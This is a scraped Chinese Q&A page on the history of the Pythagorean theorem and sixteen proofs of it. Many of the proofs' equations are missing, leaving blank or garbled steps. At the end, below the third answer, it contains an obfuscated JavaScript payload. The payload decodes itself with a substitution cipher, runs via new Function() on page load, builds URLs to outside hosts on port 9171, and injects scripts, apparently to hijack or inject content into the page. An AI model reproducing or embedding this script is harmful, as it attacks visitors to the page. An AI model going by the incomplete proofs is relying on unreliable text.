勾股定理的历史及证明

越详细,越好.最好带图
2025-04-05 21:09:28
推荐回答(3个)
回答1:

勾股定理又叫商高定理、毕氏定理,或称毕达哥拉斯定理:
英文译法:Pythagoras' Theorem

在一个直角三角形中,斜边边长的平方等于两条直角边边长平方之和。如果直角三角形两直角边分别为a、b,斜边为c,那么a²+b²=c²

据考证,人类对这条定理的认识,少说也超过 4000 年!

中国最早的一部数学著作——《周髀算经》的开头,就有这条定理的相关内容:周公问:“窃闻乎大夫善数也,请问古者包牺立周天历度。夫天不可阶而升,地不可得尺寸而度,请问数安从出?”商高答:“数之法出于圆方,圆出于方,方出于矩,矩出九九八十一,故折矩以为勾广三,股修四,径隅五。既方其外,半之一矩,环而共盘。得成三、四、五,两矩共长二十有五,是谓积矩。故禹之所以治天下者,此数之所由生也。”从上面所引的这段对话中,我们可以清楚地看到,我国古代的人民早在几千年以前就已经发现并应用勾股定理这一重要懂得数学原理了。

在西方有文字记载的最早的证明是毕达哥拉斯给出的。据说当他证明了勾股定理以后,欣喜若狂,杀牛百头,以示庆贺。故西方亦称勾股定理为“百牛定理”。遗憾的是,毕达哥拉斯的证明方法早已失传,我们无从知道他的证法。

实际上,在更早期的人类活动中,人们就已经认识到这一定理的某些特例。除上述两个例子外,据说古埃及人也曾利用“勾三股四弦五”的法则来确定直角。但是,这一传说引起过许多数学史家的怀疑。比如说,美国的数学史家M·克莱因教授曾经指出:“我们也不知道埃及人是否认识到毕达哥拉斯定理。我们知道他们有拉绳人(测量员),但所传他们在绳上打结,把全长分成长度为3、4、5的三段,然后用来形成直角三角形之说,则从未在任何文件上得证实。”不过,考古学家们发现了几块大约完成于公元前2000年左右的古巴比伦的泥板书,据专家们考证,其中一块上面刻有如下问题:“一根长度为 30个单位的棍子直立在墙上,当其上端滑下6个单位时,请问其下端离开墙角有多远?”这是一个三边为为3:4:5三角形的特殊例子;专家们还发现,在另一块泥板上面刻着一个奇特的数表,表中共刻有四列十五行数字,这是一个勾股数表:最右边一列为从1到15的序号,而左边三列则分别是股、勾、弦的数值,一共记载着15组勾股数。这说明,勾股定理实际上早已进入了人类知识的宝库。

勾股定理是几何学中的明珠,它充满魅力,千百年来,人们对它的证明趋之若鹜,其中有著名的数学家、画家,也有业余数学爱好者,有普通的老百姓,也有尊贵的政要权贵,甚至有国家总统。也许是因为勾股定理既重要又简单又实用,更容易吸引人,才使它成百次地反复被人炒作,反复被人论证。1940年出版过一本名为《毕达哥拉斯命题》的勾股定理的证明专辑,其中收集了367种不同的证明方法。实际上还不止于此,有资料表明,关于勾股定理的证明方法已有500余种,仅我国清末数学家华蘅芳就提供了二十多种精彩的证法。这是任何定理无法比拟的。(※关于勾股定理的详细证明,由于证明过程较为繁杂,不予收录。)

人们对勾股定理感兴趣的原因还在于它可以作推广。

欧几里得在他的《几何原本》中给出了勾股定理的推广定理:“直角三角形斜边上的一个直边形,其面积为两直角边上两个与之相似的直边形面积之和”。

从上面这一定理可以推出下面的定理:“以直角三角形的三边为直径作圆,则以斜边为直径所作圆的面积等于以两直角边为直径所作两圆的面积和”。

勾股定理还可以推广到空间:以直角三角形的三边为对应棱作相似多面体,则斜边上的多面体的表面积等于直角边上两个多面体表面积之和。

若以直角三角形的三边为直径分别作球,则斜边上的球的表面积等于两直角边上所作二球表面积之和。

如此等等。

【附录】

一、【《《周髀算经》·》简介】
《周髀算经》算经十书之一。约成书于公元前二世纪,原名《周髀》,它是我国最古老的天文学著作,主要阐明当时的盖天说和四分历法。唐初规定它为国子监明算科的教材之一,故改名《周髀算经》。《周髀算经》在数学上的主要成就是介绍了勾股定理及其在测量上的应用。原书没有对勾股定理进行证明,其证明是三国时东吴人赵爽在《周髀注》一书的《勾股圆方图注》中给出的。
《周髀算经》使用了相当繁复的分数算法和开平方法。

二、【伽菲尔德证明勾股定理的故事】
1876年一个周末的傍晚,在美国首都华盛顿的郊外,有一位中年人正在散步,欣赏黄昏的美景,他就是当时美国俄亥俄州共和党议员伽菲尔德。他走着走着,突然发现附近的一个小石凳上,有两个小孩正在聚精会神地谈论着什么,时而大声争论,时而小声探讨。由于好奇心驱使,伽菲尔德循声向两个小孩走去,想搞清楚两个小孩到底在干什么。只见一个小男孩正俯着身子用树枝在地上画着一个直角三角形。于是伽菲尔德便问他们在干什么?那个小男孩头也不抬地说:“请问先生,如果直角三角形的两条直角边分别为3和4,那么斜边长为多少呢?”伽菲尔德答道:“是5呀。”小男孩又问道:“如果两条直角边长分别为5和7,那么这个直角三角形的斜边长又是多少?”伽菲尔德不假思索地回答道:“那斜边的平方一定等于5的平方加上7的平方。”小男孩又说:“先生,你能说出其中的道理吗?”伽菲尔德一时语塞,无法解释了,心里很不是滋味。
于是,伽菲尔德不再散步,立即回家,潜心探讨小男孩给他出的难题。他经过反复思考与演算,终于弄清了其中的道理,并给出了简洁的证明方法。

解:勾股定理的内容:直角三角形两直角边a、b的平方和等于斜边c的平方,
a²+b²=c²
说明:我国古代学者把直角三角形的较短直角边称为“勾”,较长直角边为“股”,斜边称为“弦”,所以把这个定理成为“勾股定理”。勾股定理揭示了直角三角形边之间的关系。
举例:如直角三角形的两个直角边分别为3、4,则斜边c2= a2+b2=9+16=25
则说明斜边为5。

回答2:

勾股定理的证明
【证法1】(课本的证明)

做8个全等的直角三角形,设它们的两条直角边长分别为a、b,斜边长为c,再做三个边长分别为a、b、c的正方形,把它们像上图那样拼成两个正方形.
从图上可以看到,这两个正方形的边长都是a + b,所以面积相等. 即
, 整理得 .
【证法2】(邹元治证明)
以a、b 为直角边,以c为斜边做四个全等的直角三角形,则每个直角三角形的面积等于 . 把这四个直角三角形拼成如图所示形状,使A、E、B三点在一条直线上,B、F、C三点在一条直线上,C、G、D三点在一条直线上.
∵ RtΔHAE ≌ RtΔEBF,
∴ ∠AHE = ∠BEF.
∵ ∠AEH + ∠AHE = 90º,
∴ ∠AEH + ∠BEF = 90º.
∴ ∠HEF = 180º―90º= 90º.
∴ 四边形EFGH是一个边长为c的正方形. 它的面积等于c2.
∵ RtΔGDH ≌ RtΔHAE,
∴ ∠HGD = ∠EHA.
∵ ∠HGD + ∠GHD = 90º,
∴ ∠EHA + ∠GHD = 90º.
又∵ ∠GHE = 90º,
∴ ∠DHA = 90º+ 90º= 180º.
∴ ABCD是一个边长为a + b的正方形,它的面积等于 .
∴ . ∴ .
【证法3】(赵爽证明)
以a、b 为直角边(b>a), 以c为斜
边作四个全等的直角三角形,则每个直角
三角形的面积等于 . 把这四个直角三
角形拼成如图所示形状.
∵ RtΔDAH ≌ RtΔABE,
∴ ∠HDA = ∠EAB.
∵ ∠HAD + ∠HAD = 90º,
∴ ∠EAB + ∠HAD = 90º,
∴ ABCD是一个边长为c的正方形,它的面积等于c2.
∵ EF = FG =GH =HE = b―a ,
∠HEF = 90º.
∴ EFGH是一个边长为b―a的正方形,它的面积等于 .
∴ .
∴ .
【证法4】(1876年美国总统Garfield证明)
以a、b 为直角边,以c为斜边作两个全等的直角三角形,则每个直角三角形的面积等于 . 把这两个直角三角形拼成如图所示形状,使A、E、B三点在一条直线上.
∵ RtΔEAD ≌ RtΔCBE,
∴ ∠ADE = ∠BEC.
∵ ∠AED + ∠ADE = 90º,
∴ ∠AED + ∠BEC = 90º.
∴ ∠DEC = 180º―90º= 90º.
∴ ΔDEC是一个等腰直角三角形,它的面积等于 .
又∵ ∠DAE = 90º, ∠EBC = 90º,
∴ AD‖BC.
∴ ABCD是一个直角梯形,它的面积等于 .
∴ .
∴ .
【证法5】(梅文鼎证明)
做四个全等的直角三角形,设它们的两条直角边长分别为a、b ,斜边长为c. 把它们拼成如图那样的一个多边形,使D、E、F在一条直线上. 过C作AC的延长线交DF于点P.
∵ D、E、F在一条直线上, 且RtΔGEF ≌ RtΔEBD,
∴ ∠EGF = ∠BED,
∵ ∠EGF + ∠GEF = 90°,
∴ ∠BED + ∠GEF = 90°,
∴ ∠BEG =180º―90º= 90º.
又∵ AB = BE = EG = GA = c,
∴ ABEG是一个边长为c的正方形.
∴ ∠ABC + ∠CBE = 90º.
∵ RtΔABC ≌ RtΔEBD,
∴ ∠ABC = ∠EBD.
∴ ∠EBD + ∠CBE = 90º.
即 ∠CBD= 90º.
又∵ ∠BDE = 90º,∠BCP = 90º,
BC = BD = a.
∴ BDPC是一个边长为a的正方形.
同理,HPFG是一个边长为b的正方形.
设多边形GHCBE的面积为S,则

,
∴ .
【证法6】(项明达证明)
做两个全等的直角三角形,设它们的两条直角边长分别为a、b(b>a) ,斜边长为c. 再做一个边长为c的正方形. 把它们拼成如图所示的多边形,使E、A、C三点在一条直线上.
过点Q作QP‖BC,交AC于点P.
过点B作BM⊥PQ,垂足为M;再过点
F作FN⊥PQ,垂足为N.
∵ ∠BCA = 90º,QP‖BC,
∴ ∠MPC = 90º,
∵ BM⊥PQ,
∴ ∠BMP = 90º,
∴ BCPM是一个矩形,即∠MBC = 90º.
∵ ∠QBM + ∠MBA = ∠QBA = 90º,
∠ABC + ∠MBA = ∠MBC = 90º,
∴ ∠QBM = ∠ABC,
又∵ ∠BMP = 90º,∠BCA = 90º,BQ = BA = c,
∴ RtΔBMQ ≌ RtΔBCA.
同理可证RtΔQNF ≌ RtΔAEF.
从而将问题转化为【证法4】(梅文鼎证明).
【证法7】(欧几里得证明)
做三个边长分别为a、b、c的正方形,把它们拼成如图所示形状,使H、C、B三点在一条直线上,连结BF、CD. 过C作CL⊥DE,
交AB于点M,交DE于点L.
∵ AF = AC,AB = AD,
∠FAB = ∠GAD,
∴ ΔFAB ≌ ΔGAD,
∵ ΔFAB的面积等于 ,
ΔGAD的面积等于矩形ADLM的面积的一半,
∴ 矩形ADLM的面积 = .
同理可证,矩形MLEB的面积 = .
∵ 正方形ADEB的面积
= 矩形ADLM的面积 + 矩形MLEB的面积
∴ ,即 .
【证法8】(利用相似三角形性质证明)
如图,在RtΔABC中,设直角边AC、BC的长度分别为a、b,斜边AB的长为c,过点C作CD⊥AB,垂足是D.
在ΔADC和ΔACB中,
∵ ∠ADC = ∠ACB = 90º,
∠CAD = ∠BAC,
∴ ΔADC ∽ ΔACB.
AD∶AC = AC ∶AB,
即 .
同理可证,ΔCDB ∽ ΔACB,从而有 .
∴ ,即 .
【证法9】(杨作玫证明)
做两个全等的直角三角形,设它们的两条直角边长分别为a、b(b>a),斜边长为c. 再做一个边长为c的正方形. 把它们拼成如图所示的多边形. 过A作AF⊥AC,AF交GT于F,AF交DT于R. 过B作BP⊥AF,垂足为P. 过D作DE与CB的延长线垂直,垂足为E,DE交AF于H.
∵ ∠BAD = 90º,∠PAC = 90º,
∴ ∠DAH = ∠BAC.
又∵ ∠DHA = 90º,∠BCA = 90º,
AD = AB = c,
∴ RtΔDHA ≌ RtΔBCA.
∴ DH = BC = a,AH = AC = b.
由作法可知, PBCA 是一个矩形,
所以 RtΔAPB ≌ RtΔBCA. 即PB =
CA = b,AP= a,从而PH = b―a.
∵ RtΔDGT ≌ RtΔBCA ,
RtΔDHA ≌ RtΔBCA.
∴ RtΔDGT ≌ RtΔDHA .
∴ DH = DG = a,∠GDT = ∠HDA .
又∵ ∠DGT = 90º,∠DHF = 90º,
∠GDH = ∠GDT + ∠TDH = ∠HDA+ ∠TDH = 90º,
∴ DGFH是一个边长为a的正方形.
∴ GF = FH = a . TF⊥AF,TF = GT―GF = b―a .
∴ TFPB是一个直角梯形,上底TF=b―a,下底BP= b,高FP=a +(b―a).
用数字表示面积的编号(如图),则以c为边长的正方形的面积为

∵ = ,

∴ = . ②
把②代入①,得

= = .
∴ .
【证法10】(李锐证明)
设直角三角形两直角边的长分别为a、b(b>a),斜边的长为c. 做三个边长分别为a、b、c的正方形,把它们拼成如图所示形状,使A、E、G三点在一条直线上. 用数字表示面积的编号(如图).
∵ ∠TBE = ∠ABH = 90º,
∴ ∠TBH = ∠ABE.
又∵ ∠BTH = ∠BEA = 90º,
BT = BE = b,
∴ RtΔHBT ≌ RtΔABE.
∴ HT = AE = a.
∴ GH = GT―HT = b―a.
又∵ ∠GHF + ∠BHT = 90º,
∠DBC + ∠BHT = ∠TBH + ∠BHT = 90º,
∴ ∠GHF = ∠DBC.
∵ DB = EB―ED = b―a,
∠HGF = ∠BDC = 90º,
∴ RtΔHGF ≌ RtΔBDC. 即 .
过Q作QM⊥AG,垂足是M. 由∠BAQ = ∠BEA = 90º,可知 ∠ABE
= ∠QAM,而AB = AQ = c,所以RtΔABE ≌ RtΔQAM . 又RtΔHBT ≌
RtΔABE. 所以RtΔHBT ≌ RtΔQAM . 即 .
由RtΔABE ≌ RtΔQAM,又得QM = AE = a,∠AQM = ∠BAE.
∵ ∠AQM + ∠FQM = 90º,∠BAE + ∠CAR = 90º,∠AQM = ∠BAE,
∴ ∠FQM = ∠CAR.
又∵ ∠QMF = ∠ARC = 90º,QM = AR = a,
∴ RtΔQMF ≌ RtΔARC. 即 .
∵ , , ,
又∵ , , ,

=
= ,
即 .
【证法11】(利用切割线定理证明)
在RtΔABC中,设直角边BC = a,AC = b,斜边AB = c. 如图,以B为圆心a为半径作圆,交AB及AB的延长线分别于D、E,则BD = BE = BC = a. 因为∠BCA = 90º,点C在⊙B上,所以AC是⊙B 的切线. 由切割线定理,得

=
=
= ,
即 ,
∴ .
【证法12】(利用多列米定理证明)
在RtΔABC中,设直角边BC = a,AC = b,斜边AB = c(如图). 过点A作AD‖CB,过点B作BD‖CA,则ACBD为矩形,矩形ACBD内接于一个圆. 根据多列米定理,圆内接四边形对角线的乘积等于两对边乘积之和,有

∵ AB = DC = c,AD = BC = a,
AC = BD = b,
∴ ,即 ,
∴ .
【证法13】(作直角三角形的内切圆证明)
在RtΔABC中,设直角边BC = a,AC = b,斜边AB = c. 作RtΔABC的内切圆⊙O,切点分别为D、E、F(如图),设⊙O的半径为r.
∵ AE = AF,BF = BD,CD = CE,

= = r + r = 2r,
即 ,
∴ .
∴ ,
即 ,
∵ ,
∴ ,
又∵ = =
= = ,
∴ ,
∴ ,
∴ , ∴ .
【证法14】(利用反证法证明)
如图,在RtΔABC中,设直角边AC、BC的长度分别为a、b,斜边AB的长为c,过点C作CD⊥AB,垂足是D.
假设 ,即假设 ,则由
= =
可知 ,或者 . 即 AD:AC≠AC:AB,或者 BD:BC≠BC:AB.
在ΔADC和ΔACB中,
∵ ∠A = ∠A,
∴ 若 AD:AC≠AC:AB,则
∠ADC≠∠ACB.
在ΔCDB和ΔACB中,
∵ ∠B = ∠B,
∴ 若BD:BC≠BC:AB,则
∠CDB≠∠ACB.
又∵ ∠ACB = 90º,
∴ ∠ADC≠90º,∠CDB≠90º.
这与作法CD⊥AB矛盾. 所以, 的假设不能成立.
∴ .
【证法15】(辛卜松证明)

设直角三角形两直角边的长分别为a、b,斜边的长为c. 作边长是a+b的正方形ABCD. 把正方形ABCD划分成上方左图所示的几个部分,则正方形ABCD的面积为 ;把正方形ABCD划分成上方右图所示的几个部分,则正方形ABCD的面积为 = .
∴ ,
∴ .
【证法16】(陈杰证明)
设直角三角形两直角边的长分别为a、b(b>a),斜边的长为c. 做两个边长分别为a、b的正方形(b>a),把它们拼成如图所示形状,使E、H、M三点在一条直线上. 用数字表示面积的编号(如图).
在EH = b上截取ED = a,连结DA、DC,
则 AD = c.
∵ EM = EH + HM = b + a , ED = a,
∴ DM = EM―ED = ―a = b.
又∵ ∠CMD = 90º,CM = a,
∠AED = 90º, AE = b,
∴ RtΔAED ≌ RtΔDMC.
∴ ∠EAD = ∠MDC,DC = AD = c.
∵ ∠ADE + ∠ADC+ ∠MDC =180º,
∠ADE + ∠MDC = ∠ADE + ∠EAD = 90º,
∴ ∠ADC = 90º.
∴ 作AB‖DC,CB‖DA,则ABCD是一个边长为c的正方形.
∵ ∠BAF + ∠FAD = ∠DAE + ∠FAD = 90º,
∴ ∠BAF=∠DAE.
连结FB,在ΔABF和ΔADE中,
∵ AB =AD = c,AE = AF = b,∠BAF=∠DAE,
∴ ΔABF ≌ ΔADE.
∴ ∠AFB = ∠AED = 90º,BF = DE = a.
∴ 点B、F、G、H在一条直线上.
在RtΔABF和RtΔBCG中,
∵ AB = BC = c,BF = CG = a,
∴ RtΔABF ≌ RtΔBCG.
∵ , , ,


=
=
=
∴ .

回答3:

用反证法最简洁,明智!

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();